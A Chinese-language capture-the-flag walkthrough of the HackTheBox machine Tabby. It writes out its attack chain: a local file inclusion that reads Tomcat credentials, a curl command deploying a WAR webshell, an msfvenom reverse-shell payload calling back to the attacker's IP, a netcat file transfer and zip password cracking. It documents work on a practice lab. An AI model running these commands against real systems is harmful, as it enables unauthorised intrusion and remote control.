基本信息
端口扫描

80

很容易发现News那里有个file参数,注意要加一下hosts:
1 | 10.10.10.194 megahosting.htb |

LFI
这里一个很明显的LFI:

8080
8080是tomcat管理界面,不存在常规弱密码:s

LFI to RCE
常规的一些文件都无法读取:
- /proc/self/environ
- /proc/self/fd
- /var/log/apache2/access.log
- /var/log/apache2/error.log
tomcat-users.xml
根据前面tomcat界面信息,tomcat-users.xml
文件中包含tomcat管理用户密码,但这个tomcat不是官网文档安装路径,实际路径是/usr/share/tomcat9/etc/tomcat-users.xml
(参考资料里说的是自己装个tomcat9就能知道这个路径。。。):

得到tomcat管理账号密码:
1 | username="tomcat" password="$3cureP4s5w0rd123!" |

部署webshell
登录上去没有上传接口,不能直接上传war包
根据官方文档,可以使用curl部署:
https://tomcat.apache.org/tomcat-9.0-doc/manager-howto.html
1 | curl -u 'tomcat':'$3cureP4s5w0rd123!' -T shell.war 'http://10.10.10.194:8080/manager/text/deploy?path=/miao' |
部署成功,我们得到tomcat权限的shell:

webshell不太方便,可以msfvenom生成一个:
1 | msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.33 LPORT=7777 -f war > shell1.war |

交互shell
将反弹的哑shell转滨城交互shell:
1 | python3 -c 'import pty;pty.spawn("/bin/bash")' |

搜集信息
直接用前面的密码尝试切换到ash用户失败,搜寻能够在/var/www/html/files
看到一个16162020_backup.zip
文件,把这个文件下载下来:
1 | nc -lvvp 7778 > 16162020_backup.zip |
这个压缩包需要解压密码,直接爆破:
1 | fcrackzip -D -p /usr/share/wordlists/rockyou.txt 16162020_backup.zip |
user flag
压缩包密码就是ash用户的密码,不能ssh,直接在前面的shell切换过去,用户目录得到user.txt:

提权信息
ash用户在lxd组:
1 | id |
搜索能够发现:
- Lxd Privilege Escalation
https://www.hackingarticles.in/lxd-privilege-escalation/
提权
1 | 本地build |
root flag
在lxc容器中,我们进入挂载目录即外部root根目录,读取root.txt:

参考资料
- https://tomcat.apache.org/tomcat-9.0-doc/manager-howto.html
- Lxd Privilege Escalation
https://www.hackingarticles.in/lxd-privilege-escalation/ - LIQUID RAGE
https://liquidrage.netlify.app/tabby/ - Tabby HackTheBox Walkthrough | Ethicalhacs.com
https://ethicalhacs.com/tabby-hackthebox-walkthrough/